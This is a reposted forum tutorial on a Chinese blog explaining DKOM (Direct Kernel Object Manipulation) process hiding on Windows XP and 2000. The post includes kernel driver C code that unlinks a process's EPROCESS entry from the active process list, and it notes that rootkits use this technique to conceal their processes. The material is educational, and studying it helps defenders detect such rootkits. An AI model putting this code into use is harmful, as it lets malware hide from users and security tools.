Dkom Process Hider

Hey guys.
I've written a (sorta) simple program which lets you hide any process you want. It works by using DKOM (Direct Kernel Object Manipulation). To understand how this works, you need to understand how process listing in Windows works.

Each process has an EPROCESS struct (which isn't officially documented) in the kernel's memory. This structure contains info such as PID, exe name, and a whole whackload of stuff. The struct member that interests us is: LIST_ENTRY ActiveProcessLinks. Here's the MSDN page for LIST_ENTRY: http://msdn2.microso...y/aa491571.aspx
The Flink member of this struct points to the next entry (process) in the doubly-linked list. The Blink member points to the previous entry (process).
Here's diagram explaining how this works:
Posted Image
So, in order to hide a process, all we need to do is disconnect it from the doubly-linked list. Sound simple, huh? Well it is. All we need to do is set the Flink of the process preceding the process we want to hide to the Flink of the process we're hiding. Same is done with the Blink of the next process, which is set to the Blink of the process being hidden. This is all accomplished in a few lines of code. I attached the full source to this post, but I'll post the code that does the hiding here so you can take a look:

CODE C Language
01 if(PsLookupProcessByProcessId((PVOID)hps->uPid, &pEProc) == STATUS_SUCCESS){ //get EPROCESSstruct for the process we want to hide
02     DbgPrint("EPROCESS found. Address: %08lX.\n", pEProc);
03     DbgPrint("Now hiding process %d...\n", hps->uPid);
04     dwEProcAddr = (ULONG) pEProc; //get address of process's EPROCESS struct
05     __try{ //try/except just in case, so we don't get a BSOD
06         pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps->uFlinkOffset); //pListProcs is a LIST_ENTRY struct, which is set to the LIST_ENTRY struct
07                                                                           //in the process being hidden (uLinkOffset varies between 2k and XP)
08         *((ULONG*) pListProcs->Blink) = (ULONG) (pListProcs->Flink);   //set flink of prev proc to flink of cur proc
09         *((ULONG*) pListProcs->Flink+1) = (ULONG) (pListProcs->Blink); //set blink of next proc to blink of cur proc
10         pListProcs->Flink = (PLIST_ENTRY) &(pListProcs->Flink); //set flink and blink of cur proc to themselves
11         pListProcs->Blink = (PLIST_ENTRY) &(pListProcs->Flink); //otherwise might bsod when exiting process
12         DbgPrint("Process now hidden.\n");
13     }__except(EXCEPTION_EXECUTE_HANDLER){
14         NtStatus = GetExceptionCode();
15         DbgPrint("Exception: %d.\n", NtStatus);
16     }
17     NtStatus = STATUS_SUCCESS;
18 }


After the process is hidden, the doubly-linked list looks something like this:
Posted Image
So when a program is listing processes, it skips over the one that we hid. :P This kind of technique is commonly used by rootkits to conceal their processes. This method has its own pros and cons, such as being easier to write than a hook, and in some cases easier or harder to detect.

Here's an example of what you can do with this program:
Posted Image


This program works on Windows XP (any version) and Windows 2000 (tested on Professional, but should work on all).
I suggest reading Rootkits: Subverting the Windows Kernel if you want to learn more about techniques such as this (and this code is partially based on info in that book, but simplified a bit).
P.S. I'm not responsible for how you use this code and/or any damages that may be caused as a result of you using this code.

posted on 2011-03-08 21:32 挑灯看剑 阅读(387) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2011年3月>
272812345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名